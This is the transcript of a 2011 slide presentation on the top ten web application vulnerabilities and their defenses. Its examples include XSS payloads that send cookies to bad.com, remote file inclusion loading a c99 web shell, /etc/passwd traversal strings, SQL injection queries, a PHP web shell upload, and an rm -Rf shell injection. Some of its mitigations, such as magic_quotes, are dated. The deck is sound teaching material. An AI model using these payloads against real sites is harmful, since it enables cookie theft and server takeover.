BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN

BEST PRACTICES OF
2011
WEB APPLICATION SECURITY
Copyright 2011 © CYBER GATES
Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License

OVERVIEW
Web Application Security is a vast topic
and time is not enough to cover all kind
of malicious attacks and techniques for
avoiding them, so now we will focus on
top 10 high level vulnerabilities.
Web developers work in different ways
using their custom libraries and
intruder prevention systems and now
we will see what they should do and
should not do based on best practices.

CONTENT
1. Overview
2. Statistics
2.1. Statistics of vulnerabilities
2.2. Statistics of risk levels
3. Top 10 high level vulnerabilities
3.1. Cross-Site Scripting
3.2. Information Leakage
3.3. SQL Injection
3.4. Cross-Site Request Forgery
3.5. ClickJacking
3.6. Local/Remote File Inclusion

3.7. Unrestricted File Uploads
3.8. Phishing
3.9. Session Hijacking
3.10. Shell Injection
4. Cross-Site Scripting
4.1. Defination
4.2. Types
4.2.1. Non-persistent
4.2.2. Persistent
4.3. Non-persistent
4.4. Persistent
4.5. Common targets
4.6. Potentially Dangerous HTML elements

4.7. Best Solution
5. Information Leakage
5.1. Defination
5.2. Common reasons
5.2.1. Directory listing misconfiguration
5.2.2. Unproper error handling
5.2.3. Unproper filetype handling
5.2.4. Sensetive HTML comments
5.3. Directory listing misconfiguration
5.4. Unproper error handling
5.5. Unproper filetype handling
5.6. Sensetive HTML comments

5.7. Best Solution
6. SQL Injection
6.1. Defination
6.2. Types
6.2.1. Normal SQL Injection
6.2.2. Blind SQL Injection
6.3. Normal SQL Injection
6.4. Blind SQL Injection
6.5. Solutions
6.6. Best Solution
7. Cross-Site Request Forgery
7.1. Defination
7.2. Useless defenses

7.3. Solutions
7.4. Best Solution
8. ClickJacking
8.1. Defination
8.2. FrameKillers
8.3. FrameKiller killers
8.4. Best Solution
9. Local/Remote File Inclusion
9.1. Defination
9.2. Types
9.2.1. Local File Inclusion
9.2.2. Remote File Inclusion
9.3. Local File Inclusion

9.4. Remote File Inclusion
9.5. Common exploits/requests
9.6. Common methods of attack
9.7. Potentially dangerous PHP functons
9.8. Best Solution
10. Unrestricted File Uploads
10.1. Defination
10.2. Common mistakes
10.3. Best Solution
11. Phishing
11.1. Defination
11.2. Best Solution
12. Session Hijacking

12.1. Defination
12.2. Best Solution
13. Shell Injection
13.1. Defination
13.2. Potentially dangerous PHP functions
13.3. Best Solution
14. Special thanks
15. Contact information
16. References

STATISTICS OF VULNERABILITIES
Source: ptresearch.blogspot.com/2010/06/web-application-vulnerability.html

STATISTICS OF RISK LEVELS
Source: ptresearch.blogspot.com/2010/06/web-application-vulnerability.html

TOP 10 HIGH LEVEL VULNERABILITIES
01. Cross-Site Scripting (XSS) [2005]
02. Information leakage
03. SQL Injection [~2005]
04. Cross-Site Request Forgery (CSRF) [1990s]
05. ClickJacking [J.Grossman and R.Hansen - 2008]
06. Local/Remote File Inclusion
07. Unrestricted File Upload
08. Phishing[1987, 1996]
09. Session Hijacking [early 2000s]
10. Shell injection

CROSS-SITE SCRIPTING
DESCRIPTION:
Cross-Site Scripting is a type of web application vulnerability when attacker injects his executable code (Javascript, HTML, etc.) into a vulnerable webpage.
EXAMPLE:
http://site.com/search.php?q=<script>alert(“XSS”)</script>

TYPES:
Non-Persistent
Persistent
1.Non-Persistent:
In this type of XSS vulnerability an attacker is able to execute his own code into a webpage but no changes can be done in that website.

Non-Persistent
EXAMPLE:
http://www.site.com/viewtopic.php?id=4"><script>document.location="http://bad.com/logger.php?cookie="+document.cookie;</script>
OR
http://www.site.com/viewtopic.php?id=4”><script>document.write(“<img src=‘http://bad.com/logger.php?cookie=“+ document.cookie+”’/>”);</script>

2.Persistent:
In this case attacker stores his executable script in the vulnerable website database which is being executed every time webpage is showing the data.
Common targets are:
Comments
Chat messages
E-mail messages
Wall posts, etc.

Persistent
EXAMPLE:

Persistent
Comment in raw format:
and I like the way this website developers
work..hahaha :D :D
<SCRIPT/XSS
SRC="http://bad.com/xss.js">
</SCRIPT>

Potentially Dangerous HTML elemets:
TAGS
<applet>
<body>
<embed>
<frame>
<script>
<frameset>
<html>
<iframe>
<img>
<style>
<layer>
<ilayer>
<meta>
<object> ,etc.
ATTRIBUTES
src, href, lowsrc, xmlns, style, etc.

Potentially Dangerous HTML events:
Onblur
Onchange
Onclick
Ondrag
Onerror
Onfocus
Onkeypress
Onkeyup
Onload
Onmouseover
Onmousemove
Onmove
Onresize
Onselectstart
Onselect
Onsubmit
Onunload
Onscroll, etc.
*all HTML events

SOLUTIONS:
Input sanitization
PHP function strip_tags()
PHP Input Filter
PHP libraries:
HTML_Safe
htmLawed
kses
Safe HTML Checker, etc.
Output sanitization
PHP function htmlentities()

BEST SOLUTION
OWASP HTML Purifier
SAFE
HTML Purifier defeats XSS with an audited whitelist
CLEAN
HTML Purifier ensures standards-compliant output
OPEN
HTML Purifier is open-source and highly customizable

BEST SOLUTION
COMPARISON:
Source: www.htmlpurifier.org/comparison

INFORMATION LEAKAGE
DESCRIPTION:
Information Leakage is an application weakness where an application reveals sensitive data, such as technical details of the web application, environment, or user-specific data.
EXAMPLE:
Warning: include(pages/../../../../../../etc/passwd1) [function.include]: failed to open stream: No such file or directory in /usr/www/users/kint/view.php on line 20

INFORMATION LEAKAGE
CAUSES OF:
Directory listing misconfiguration
Unproper error handling
Unproper filetype handling
Sensitive HTML comments, etc.
1.Directory listing misconfiguration:
Leaving directory listing enabled allows the attacker to read the list of all files in a directory.

INFORMATION LEAKAGE
EXAMPLE:
http://www.site.com/admin/

INFORMATION LEAKAGE
2.Unproper error handling:
Because of unproper error handling all the unexpecting requests will generate error messages which will be visible to the attacker.
EXAMPLE:
Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home/aes/public_html/news/list.php on line 81

INFORMATION LEAKAGE
3.Unproper filetype handling:
Unproper filetype handling allows your important files to be readable by the attacker.
EXAMPLE:
sql_backup.tar.gz
memberlist.xml
phpinfo.html
dbClass.inc
Login.php.bkp

INFORMATION LEAKAGE
EXAMPLE:
dbClass.inc
…
private $host = "localhost";
private $usr = “root“;
private $pwd = “i7kT0w“;
public $db = "brav_new";
public function Connect(){ … }
…

INFORMATION LEAKAGE
4.Sensitive HTML comments:
Notes left by webdevelopers may content important information which will cause of the information leakage.
EXAMPLE:
<form enctype="multipart/form-data" action="upload.php" method="POST">

<input name="upload_file" type="file" />
…

BEST SOLUTION
put a blank file named index.html in that directory.
put a file named .htaccess in that directory consisting of only this line:Options –indexes
NOTE: all sub-directories of that directory will also get their directory listings turned off.

BEST SOLUTION
The following configurations should be done in php.ini file:
error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = path/PHP_errors.log //any file in which the web server has write privileges.

BEST SOLUTION
Create an .htaccess file in public_html directory with the following lines:
php_flag display_errors off
php_flag log_errors on
php_value error_log path/PHP_errors.log
<Files path/PHP_errors.log>
Order allow,deny
Deny from all
Satisfy All
</Files

BEST SOLUTION
Don’t keep your important files with the following extentions in your public web directory if you don’t link to them in the website:
Compressed files(*.zip, *.rar, *.tar.gz, etc.)
Database files(*.sql, *.cvs, *.xml, *.xls, etc.)
Unknown files(*.inc, *.copy, *.bkp, etc.)

BEST SOLUTION
If you have a reason to keep those files in your web public directory, create an .htaccess file in that directory with the following lines of code:
<Files ~ ".(inc|sql)$"> order allow,deny deny from all</Files>

BEST SOLUTION
Sensitive HTML comments
No sensetive HTML comment must be used in a website as every user will be able to view the webpage source code.

SQL INJECTION
DESCRIPTION:
This is a type of vulnerability when attacker injects his custom SQL query to the request to get sensetive data from the database, read or write a file.
EXAMPLE:
http://site.com/product.php?id=4+AND+1=2+UNION+SELECT+0,database(),1,2+--

SQL INJECTION
TYPES:
Normal
Blind
1.Normal:
In this type of SQL Injection vulnerability attacker sends a custom SQL query and gets the output in the screen.

SQL INJECTION
Normal SQL Injection
EXAMPLE:
http://site.com/product.php?id=1348+AND+1=2+union+select+1,2,user(),database(),
5,version(),7+--

SQL INJECTION
2.Blind:
This type of injection is identical to normal SQL Injection except that the SQL query returns positive or negative response.
EXAMPLE:
http://site.com/view.php?page=10+
and+substring(@@version,1,1)=5+--

SQL INJECTION
SOLUTIONS:
PHP.ini configuration
magic_quotes_gpc = on
PHP functions
filter_var()
mysql_real_escape_string()
sprintf()
Put variables into the quotes(e.g: ‘$id’)
Assign min privilages for mysql users

BEST SOLUTION
GreenSQL open source database firewall
Activity monitoring and audit
User rights management
Real-time database protection
Intrusion preventation(IPS)
Database caching
Encrypted comunication over SSL
Virtual patching
Reporting

BEST SOLUTION
GreenSQL open source database firewall
Source: www.greensql.net

CROSS-SITE REQUEST FORGERY
DESCRIPTION:
This vulnerability of web application allows other websites to send it unauthorized requests using the active session of its authorized users.
EXAMPLE:
<img src=“http://site.com/share.php?url=http://bad.com” style=“display:none” />

EXAMPLE:
<div style=“display:none”>
<iframe name=“hidden”></iframe>
<form name=“Form” action= “http://site.com/post.php” target=“hidden” method=“POST”>
<input type=“text” name=“message” value=“I like www.bad.com” />
<input type=“submit” />
</form>
<script>document.Form.submit();</script>
</div>

USELESS DEFENSES:
Only accept POST
Stops simple link-based attacks (IMG, frames, etc.)
But hidden POST requests can be created with frames, scripts, etc.
Referer checking
Some users prohibit referers, so you can’t just require referer headers
Techniques to selectively create HTTP request without referers exist
Requiring multi-step transactions
CSRF attack can perform each step in order

SOLUTIONS:
CAPTHCA systems
This is a type of challenge-response test used in computing to ensure that the response is not generated by a computer.
One-time tokens
Unlike the CAPTCHA systems this is a unique number stored in the form field and in session to compare them after the form submition.

BEST SOLUTION
Business Processing
Add Tokento HTML
OWASPCSRFGuard
Verify Token
OWASP CSRFGuard
Adds token to:
href attribute
src attribute
hidden field in all forms
Actions:
Log
Invalidate
Redirect
User
(Browser)
1. Add token with regex
2. Add token with HTML parser
3. Add token in browser with Javascript
Source: www.owasp.org/index.php/CSRFGuard

CLICKJACKING
DESCRIPTION:
ClickJacking or UI Redressing is an art of taking actions without the user's knowledge, such as clicking on a button that appears to perform another function. It works in all modern browsers that support frames and css.
EXAMPLE:
<div style="position:fixed; width:100%; height:100%; z-index:999;" onclick="alert(‘ClickJacked');"></div>

CLICKJACKING
EXAMPLE:
<style> iframe { width: 500px; height: 400px; /* Use absolute positioning to line up update button with fake button */
position: absolute; top: 0px; left: 0px; z-index: 2; /* Hide from view */
-moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); }
button { position: absolute; top: 350px; left: 200px;
z-index: 1; width: 100px; } </style>
<h1>BEST GAME EVER!</1>
<button>PLAY!</button>
<iframe scrolling="no" src="http://twitter.com/home?status=Yes, I did click the button!!! (WHAT!!??)"></iframe>

CLICKJACKING
EXAMPLE:

CLICKJACKING
FrameKiller(frame busting)
Defination:
Frame killers or frame busting is used to defend against clickjacking attacks.
Example:
if (top.location != location){
top.location = self.location;
}

CLICKJACKING
Common FrameKillers
Conditional statement
if (top != self)
if (top.location != self.location)
if (top.location != location)
if (parent.frames.length > 0)
if (window != top)
if (window.top !== window.self)
if (window.self != window.top)
if (parent && parent != window)
if (parent && parent.frames && parent.frames.length>0)
if((self.parent&&!(self.parent===self))&&(self.parent.frames.length!=0))

CLICKJACKING
Common FrameKillers
Counter-action statement
top.location = self.location
top.location.href = document.location.href
top.location.replace(self.location)
top.location.href = window.location.href
top.location.replace(document.location)
top.location.href = window.location.href
top.location.href = "URL"
document.write('')
top.location.replace(document.location)
top.location.replace('URL')
top.location.replace(window.location.href)
top.location.href = location.href
self.parent.location = document.location
parent.location.href = self.document.location

CLICKJACKING
FrameKiller killers
Double framing
<iframe src="second.html"></iframe>
second.html
<iframe src="http://www.site.com"></iframe>
Using onBeforeUnload event
<script>
window.onbeforeunload=function(){
return “do you want to leave this page?“;
}
</script>
<iframe src="http://www.site.com"></iframe>

CLICKJACKING
FrameKiller killers
onBeforeUnload & 204 Flushing
var prevent bust = 0
window.onbeforeunload=function(){
killbust++
}
setInterval(function(){
if(killbust > 0){
killbust = 2;
window.top.location = 'http://no-content-204.com'
} }, 1);
<iframe src="http://www.victim.com"></iframe>
etc.

BEST SOLUTION
FrameKiller(frame busting):
<style> html{ display : none; } </style>
<script>
if( self == top ) { document.documentElement.style.display='block';
} else { top.location = self.location; }
</script>
OWASP CSRFGuard
IMPORTANT: Unfortunately, there is no script which would protect your web application against ClickJacking, however above mentioned is the best solution that we have now.

FILE INCLUSION
DESCRIPTION:
This type of web application vulnerability allows an attacker to include local or remote file into the vulnerable webpage.
EXAMPLE:
http://site.com/view.php?file=../../../../../../../../../../../../../../etc/passwd%00

FILE INCLUSION
TYPES:
Local
Remote
1.Local File Inclusion:
This type of inclusion is used to include local files. Mostly used for server configuration files such as system users information, filesystem structure, etc.

FILE INCLUSION
LOCAL FILE INCLUSION
EXAMPLE:
http://site.com/include.php?file=../../../../../../../../../../../../../etc/passwd%00
root:*:0:0:Super User:/root:/bin/csh daemon:*:1:1:Daemon:/nonexistent:/sbin/nologin operator:*:2:5:Operator:/nonexistent:/sbin/nologin bin:*:3:7:Binaries:/nonexistent:/sbin/nologin tty:*:4:65533:tty Sandbox:/nonexistent:/sbin/nologin kmem:*:5:65533:kmem Sandbox:/nonexistent:/sbin/nologin games:*:7:13:Games:/nonexistent:/sbin/nologin news:*:8:8:News Subsystem:/nonexistent:/sbin/nologin man:*:9:9:Man Pages:/nonexistent:/sbin/nologin ftp:*:14:5:Anonymous FTP Admin:/usr/ftp:/nonexistent

FILE INCLUSION
2.Remote File Inclusion:
Unlike the local file inclusion this is used to include remote scripts such as web shells which is more dangerous than the previous one.
Main goals:
Remote code execution
Remote root kit installation and complete system compromise
etc.

FILE INCLUSION
REMOTE FILE INCLUSION
EXAMPLE:
http://site.com/include.php?file= http://bad.com/c99_shell.php&act=ls&dir=%2Fvar

FILE INCLUSION
VULNERABLE PHP CODES
<?php include($_GET['file']); ?>
<?php include($_GET['file'].".htm"); ?>
<?php
include("includes/".$_GET['file']);
?>
<?php
include("includes/".$_GET['file'].".htm");
?>
etc.

FILE INCLUSION
COMMON EXPLOITS/REQUESTS
?file=../../../../../../../../../etc/passwd
?file=../../../../../../../../../var/lib/locate.db
?file=../../../../../../../../../var/log/apache/error.log
?file=../../../../../../../../../etc/passwd%00
?file=../../../../../../../../../var/www/accounts/%00
?file=http://bad.com/xss.php?xss=phpcode
?file=http://bad.com/shell.txt
?file=data://text/plain;base64,SU5KRUNURUQ=
?file=../../../../../../../../../etc/passwd.........
?file=../../../../../../../../../etc/passwd…………………..…
etc.

FILE INCLUSION
COMMON METHODS OF ATTACK
Hostile data being uploaded to session files, log data, and via image uploads
Using compression or audio streams, such as zlib:// or ogg://(allow_url_fopen/ allow_url_include may be disabled)
Using PHP wrappers, such as php://input
Using PHP’s data: wrapper, such as data:;base64,PD9waHAgcGhwaW5mbygpOz8+
etc.

FILE INCLUSION
POTENTIALLY DANGEROUS PHP FUNCTIONS
include()/include_once()
require()/require_once()
file_get_contents()
fopen()
file()
copy()
unlink()
upload_tmp_dir()
move_uploaded_file()
imagecreatefromXXX()

BEST SOLUTION
Use whitelisted filenames or allow only valid file name characters (e.g: /^(((?:.)(?!.))|w)+$/)
Modify the php.ini configuration file:
register_globals = Off
magic_quotes_gpc = On
allow_url_fopen = Off
allow_url_include = Off
Do not use any of the potentially dangerous PHP functions(previous slide) without filtering user input

UNRESTRICTED FILE UPLOAD
DESCRIPTION:
This vulnerability of a web application allows attacker to upload malicious files to the server. Most of the time those files are web shell scripts to take control over your web server.
EXAMPLE:
$usrFile = $_FILES[‘userfile’][‘name’];
$uploadFolder= "uploads/"; if(move_uploaded_file($usrFile,$uploadFolder))
{ echo “File has been successfully uploaded.“;
} else{ echo “Error. Please try again!"; }

EXAMPLE:
POST /upload1.php HTTP/1.1
…
Content-Type: multipart/form-data; boundary=xYzZY
--xYzZY
Content-Disposition: form-data; name="userfile";
filename="shell.php"
Content-Type: text/plain
<?php
system($_GET['command']);
?>
--xYzZY—
HTTP/1.1 200 OK
…
File has been successfully uploaded.

COMMON MISTAKES:
Using blacklist for file extensions
Checking only for *.php,*.cgi,..,*.exe, etc. extentions
Checking only the mime type
Checking only the content of $_FILES[‘file’][‘type’]
Unproper check of double extensions
Unproperly checking for the files such as *.php.jpg, *.php.xyz, *.asp.1234, etc.
Checking only the image header
Relying only on PHP functions such as getimagesize()
Checking filetype in filename
Checking content of the filename after the last dot(.)
etc.

BEST SOLUTION
Define an .htaccess file that will only allow access to files with allowed extensions. This will also prevent double extension attacks.
deny from all
<Files ~ "^w+.(gif|jpe?g|png)$">
order deny,allow
allow from all
</Files>

BEST SOLUTION
Prevent overwriting of existing files (to prevent the .htaccess overwrite attack).
Create a list of accepted mime-types (map extensions from those mime types).
Generate a random file name and add the previously generated extension.
Don’t rely on client-side validation only, since it is not enough. Ideally one should have both server-side and client-side validation implemented.

PHISHING
DESCRIPTION:
Phishing is a Social Engineering technique to steal confidential information about the victim such as user login credentials, credit card information, etc. through the use of fake login page.
EXAMPLE:
http://www.qooqle.com/accounts/ServiceLogin?service=mail

PHISHING
EXAMPLE:

BEST SOLUTION
Use HTTPS instead of HTTP
The use of HTTPS is that user may see the details of the domain owner
in the SSL certificate information.
Use short URL addresses for login pages
Use short URLs so that users could easily recognize login page address.
Use Yahoo! Sign-in Seal like system
Sign-In Seal is a unique identifier chose by the user. This system stores
the user's unique identifier in the cookie and that cookie is shared
between local web browsers using Shared Object system provided by
Adobe Flash Player. It is not associated with the user’s login id, it is
associated with the user’s machine id.

SESSION HIJACKING
DESCRIPTION:
This vulnerability of web application is used to gain unauthorized access to web resources of an authoriezed user by having his/her session identifier(SID).
EXAMPLE:
http://wg180.site.com/dk;jsessionid=0754aff827cfe9f7db7f48e7018ed1e6.wg180?st.cmd=userMain&tkn=8809

SESSION HIJACKING
EXAMPLE:
http://wg180.site.com/dk;jsessionid= 0754aff827cfe9f7db7f48e7018ed1e6.wg180?st.cmd=userMain&tkn=8809

BEST SOLUTION
Store SID in HTTP cookies
To avoid accepting SIDs from GET and POST requests, the following
modification should be done in php.ini configuration file:
session.use_cookies = 1
session.use_only_cookies = 1
Regenerate SID on each user request
Put session_regenerate_id(true); with this parameter after the
session_start() function call
Accept only SIDs generated by your server
Use $_SESSION['SERVER_GENERATED_SID'] to identify whether SID has been
created by your web server

BEST SOLUTION
Check for referrer, user-agent and IP address
All these three elements can be manipulated, but it is a good habit
to check them before accepting any data from a user side
Destroy old SIDs
If user has SID which hasn’t been accessed for more than 10 minutes,
destroy it
Comletely distroy the session on user logout
This kind of logout system may be used to completely distroy all the
session data
if (isset($_GET['LOGOUT'])){
session_unset();
session_destroy();
$_SESSION = array(); }

SHELL INJECTION
DESCRIPTION:
Shell Injection is a web application vulnerability which allows an attacker to execute shell commands in the web server.
EXAMPLE:
http://site.com/manage.php?action=id

SHELL INJECTION
EXAMPLE:
http://site.com/delete.php?file=/
delete.php
<?php $file = $_GET[‘file’]; echo 'erasing ' . $file . ‘<br />’;system(“rm -Rf $file”) ; echo ‘done‘;?>

SHELL INJECTION
POTENTIALLY DANGEROUS PHP FUNCTIONS
shell_exec()
exec()
`` (backticks)
system()
passthru()
eval()
popen()
curl_exec()
curl_multi_exec()
show_source()
proc_open()
parse_ini_file()
etc.

BEST SOLUTION
Disable all the potentially dangerous PHP functions
You should disable all the potentially dangerous PHP
functions in php.ini configuration file which you don’t use:
disable_functions=system,exec,etc.
Allow only whitelisted commands to be used
You may have a list of non-dangerous commands which will
be allowed
Use PHP built-in function to escape the user input
Use functions such as escapeshellarg() and escapeshellcmd()
to escape the user input.

THANK YOU!!
SPECIAL THANKS FOR KIND SUPPORT:
MANU ZACHARIA
MVP (Enterprise Security), ISLA-2010 (ISC)², C|EH, C|HFI, CCNA, MCP, AFCEH
Certified ISO 27001:2005 LA
ROHIT SRIVASTWA
Founder, ClubHack
www.clubhack.com
C-DAC ACTS
acts.cdac.in

CONTACTS
www.cybergates.am
Corporate website
www.twitter.com/CyberGatesLLC
Company profile on Twitter
www.facebook.com/CyberGates.LLC
Company profile on Facebook
www.linkedin.com/company/CyberGates-LLC
Company profile on LinkedIn
www.vimeo.com/CyberGates
Company channel on Vimeo

REFERENCES
Statistics
http://ptresearch.blogspot.com/2010/06/web-application-vulnerability.html
http://ptresearch.blogspot.com/2010/06/web-application-vulnerability.html
Cross-Site Scripting
http://en.wikipedia.org/wiki/Cross-site_scripting
http://knol.google.com/k/a-short-history-of-cross-site-scripting-viruses-worms
Information Leakage
http://projects.webappsec.org/w/page/13246936/Information-Leakage
http://phpsec.org/projects/guide/1.html
SQL Injection
http://en.wikipedia.org/wiki/SQL_injection
http://www.darkreading.com/database-security/167901020/security/application-security/227300073/index.html
http://websec.wordpress.com/category/sqli/
Cross-Site Request forgery
http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
http://projects.webappsec.org/w/page/13246919/Cross-Site-Request-Forgery

REFERENCES
ClickJacking
http://en.wikipedia.org/wiki/Framekiller
http://seclab.stanford.edu/websec/framebusting/framebust.pdf
File Inclusion
http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
http://www.madirish.net/?article=427
Unrestricted File Upload
http://www.acunetix.com/websitesecurity/upload-forms-threat.htm
Phishing
http://en.wikipedia.org/wiki/Phishing
http://security.yahoo.com/article.html?aid=2006102507
Session Hijacking
http://en.wikipedia.org/wiki/Session_fixation
Shell Injection
http://en.wikipedia.org/wiki/Code_injection#Shell_injection

http://www.jornaljava.com	369
http://clubhack.com	335
http://blog.corujadeti.com.br	269
http://blogging.bloggator.net	165
http://szazz.com.br	80
http://www.micarmenia.am	77
http://www.clubhack.com	57
http://szazz.com	25
http://www.bemvindosoldado.com.br	7
http://www.szazz.com	5
http://bemvindosoldado.com.br	2
http://10camisados.com.br	2
http://busk.com	2
http://twitter.com	1
http://bsouzasystems.com.br	1
https://blue-box4.appspot.com	1
http://descamisados.com.br	1
http://webcache.googleusercontent.com	1
http://static.slidesharecdn.com	1
http://translate.googleusercontent.com	1

BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN

by Samvel Gevorgyan on Dec 25, 2010

Accessibility

Categories

Upload Details

Usage Rights

20 Embeds 1,402

Statistics

BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN Presentation Transcript